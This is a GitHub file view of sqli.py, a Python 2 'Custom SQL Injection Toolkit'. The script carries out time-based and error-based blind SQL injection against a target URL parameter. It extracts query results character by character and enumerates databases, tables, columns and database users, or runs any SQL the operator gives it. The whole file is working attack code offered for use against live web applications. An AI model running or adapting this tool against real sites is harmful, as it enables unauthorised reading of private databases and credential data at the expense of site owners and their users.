-
Notifications
You must be signed in to change notification settings - Fork 10
/
sqli.py
executable file
·275 lines (211 loc) · 10.9 KB
/
sqli.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
#!/usr/bin/python
# TODO: Unpack parameter
import urllib
import urllib2
import time
import sys
import io
import re
import gzip
from urlparse import urlparse
import argparse
class SQLInject:
"""
basic class for testing custom blind sql injection
"""
### Blind SQL Injection Type ###
TIMEBASED = 1
ERRORBASED = 2
### Database Type ###
DB_MYSQL = 'mysql'
DB_ORACLE = 'oracle'
DB_MSSQL = 'mssql'
### character matching tables ###
char_match = ["e","t","a","o","i","n","s","r","h","l","d","u","c","f","m","w","y","g","p","b","v", "k","x","j","q","z","0","1","2","3","4","5","6","7","8","9","-",".","_", "'","[", "]","+", "%","#","@","$"]
num_match = ["1", "2", "3", "4", "5", "6", "7", "8", "9", "0"]
def __create_header__(self):
headers = {}
headers['Host'] = self.url.netloc
headers['User-Agent'] = 'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.9) Gecko/20100501 Iceweasel/3.5.9 (like Firefox/3.5.9)'
headers['Accept'] = 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8'
headers['Accept-Language'] = 'en-us,en;q=0.5'
headers['Accept-Encoding'] = 'gzip,deflate'
headers['Accept-Charset'] = 'ISO-8859-1,utf-8;q=0.7,*;q=0.7'
headers['Keep-Alive'] = '300'
headers['Proxy-Connection'] = 'keep-alive'
return headers
#################################################################
### database enumeration functions ###
#################################################################
def get_databases(self):
self.get_output("SELECT DISTINCT(LOWER(schema_name)) FROM information_schema.SCHEMATA")
def get_tables(self):
self.get_output("SELECT table_name FROM information_schema.TABLES WHERE table_schema='%s'" % (self.database))
def get_columns(self):
self.get_output("SELECT column_name FROM information_schema.COLUMNS WHERE table_name='%s' AND table_schema='%s'" % (self.table, self.database))
#################################################################
### user enumeration functions ###
#################################################################
def get_users(self):
self.get_output("SELECT DISTINCT(grantee) FROM information_schema.USER_PRIVILEGES")
#################################################################
### inference data retrieval functions ###
#################################################################
def __get_value(self, command, matches):
if self.debug > 0:
print "[dd] executing command: %s" % (command, )
value = ""
for pos in range(1, 1000):
chr = self.get_char(pos, command, matches)
if not chr:
return value
sys.stdout.write(chr)
sys.stdout.flush()
value += chr
def get_output(self, command):
result = {}
### unpack select values ###
cmds = self.unpack_select(command)
lastval = None
for value in cmds.keys():
### get number of rows ###
cmd = cmds[value]
result[value] = []
print cmd
print "[*] number of rows returned by query: ",
num_rows = self.get_num_rows(cmd)
print "\n"
print "[*] retrieving results for " + cmd + ": "
for row in range(0, num_rows):
if lastval:
#cmd += " WHERE %s = '%s'" % (lastval, result[lastval][-1])
lastval = value
else:
lastval = value
### get output
print "[+] ",
result[value].append(self.__get_value(cmd + " LIMIT " + str(row) + ", 1" , self.char_match))
sys.stdout.write("\n")
for row in result.keys():
print "%-15s" % row,
print "\n"
for row in result.keys():
for val in result[row]:
print "%-15s" % val
print result
def get_num_rows(self, command):
if 'FROM' in command.upper():
command = re.sub('^(.*) (.*) (FROM .*)', r'\1 COUNT(\2) \3', command, flags=re.IGNORECASE)
else:
command = re.sub('^(.*) (.*)', r'\1 COUNT(\2)', command)
return int(self.__get_value(command, self.num_match))
def unpack_select(self, command):
cmds = {}
if 'FROM' in command.upper():
values= re.match("^SELECT (.*) (FROM .*)", command, flags=re.IGNORECASE).group(1)
else:
values= re.match("^SELECT (.*)", command, flags=re.IGNORECASE).group(1)
for value in values.split(','):
value = value.strip()
if 'FROM' in command.upper():
cmds[value] = re.sub('^(.*) (.*) (FROM .*)', r'\1 %s \3', command, flags=re.IGNORECASE) % (value, )
else:
cmds[value] = re.sub('^(.*) (.*)', r'\1 %s', command) % (value, )
return cmds
def get_char(self, pos, command, matches):
headers = self.__create_header__()
if self.data:
urlparams = dict([ p.split("=") for p in self.data.split("&")])
headers['Content-Type'] = 'application/x-www-form-urlencoded'
else:
urlparams = dict([ p.split("=") for p in self.url.query.split("&")])
if self.param not in urlparams.keys():
print "Parameter %s is not in parameter list. Exiting." % (self.param, )
sys.exit(0)
for c in matches:
# escape single quotes
if c == '\'':
c='\\\''
urlparams[self.param] = self.prefix + "MID((" + command + ")," + str(pos) + ",1) = '" + c + "'" + self.postfix
if self.type == self.TIMEBASED:
t_start = time.time()
strparams = urllib.urlencode(urlparams)
if self.data:
con = urllib2.urlopen('%s://%s%s' % (self.url.scheme, self.url.netloc, self.url.path), data=strparams)
else:
if self.debug > 1:
print "[dd] sending [%s://%s%s?%s]" % (self.url.scheme, self.url.netloc, self.url.path, strparams)
con = urllib2.urlopen('%s://%s%s?%s' % (self.url.scheme, self.url.netloc, self.url.path, strparams))
# reverse single quote escaping
if c == '\\\'':
c = '\''
if self.type == self.TIMEBASED:
t_end = time.time()
### Adjust the timeout here ###
if (t_end - t_start) > 2:
return c
if self.type == self.ERRORBASED:
data = con.read()
### check for zipped encoding
if con.headers.getheader('Content-Encoding', None) == 'gzip':
bs = io.BytesIO(data)
stream = gzip.GzipFile(fileobj=bs, mode="rb")
data = stream.read()
if self.debug > 2:
print "[dd] receive [%s]" % (data, )
if self.trigger in data:
return c
# EOL
return None
def main():
print "[*] Custom SQL Injection Toolkit - (c) Christian Eichelmann\n"
parser = argparse.ArgumentParser()
parser.add_argument("--version", action="version", version="0.6")
parser.add_argument("--debug", action="count", help="enable debugging output")
group_enum = parser.add_argument_group("Enumeration options")
group_enum.add_argument("--dbs", action="store_true", dest="enum_db", help="enumerate databses")
group_enum.add_argument("--tables", action="store_true", dest="enum_tables", help="enumerate tables (needs -D)")
group_enum.add_argument("--columns", action="store_true", dest="enum_columns", help="enumerate columns (needs -D and -T)")
group_enum.add_argument("--users", action="store_true", dest="enum_users", help="enumerate databse users")
group_target = parser.add_argument_group("Target informations")
group_target.add_argument("-u", "--url", type=urlparse, help="url to attack (http://www.vuln.org/index.php?a=foo&b=bar)", required=True)
group_target.add_argument("-p", "--param", help="vulnerable parameter", required=True)
group_target.add_argument("-s", "--prefix", help="attack prefix", required=True)
group_target.add_argument("-e", "--postfix", help="attack postfix", required=True)
group_target.add_argument("-i", "--trigger", help="trigger for error based sqli")
group_misc = parser.add_argument_group("Miscellaneous options")
group_misc.add_argument("-t", "--type", type=int, help="sqli technique (1=Timebased, 2=Errorbased)", choices=[1, 2], default=2)
group_misc.add_argument("-c", "--command", help="sql command to execute")
group_misc.add_argument("-d", "--data", help="use POST instead of GET with the given parameter")
group_info = parser.add_argument_group("Target database information")
group_info.add_argument("-b", "--backend", metavar="DBMS", help="database backend (mysql, oracle, mssql)", choices=["mysql", "oracle", "mssql"], default="mysql")
group_info.add_argument("-D", "--database", help="set database")
group_info.add_argument("-T", "--table", help="set table")
sql = SQLInject()
args = parser.parse_args(namespace=sql)
##################################################
### ERROR CHECKING ###
##################################################
if sql.type == sql.ERRORBASED and not sql.trigger:
parser.error('Errorbased sql injections need a trigger')
if not sql.command and not sql.enum_db and not sql.enum_tables and not sql.enum_columns and not sql.enum_users:
parser.error('Nothing todo! Specify a command or enumeration task')
if args.enum_tables and not sql.database:
parser.error('-D needed for enumerating tables')
if args.enum_columns and (not sql.database or not sql.table):
parser.error('-D and -T needed for enumerating columns')
##################################################
### EXECUTING ###
##################################################
if args.enum_db:
sql.get_databases()
if args.enum_tables:
sql.get_tables()
if args.enum_columns:
sql.get_columns()
if args.enum_users:
sql.get_users()
if args.command:
sql.get_output(args.command)
if __name__ == "__main__":
main()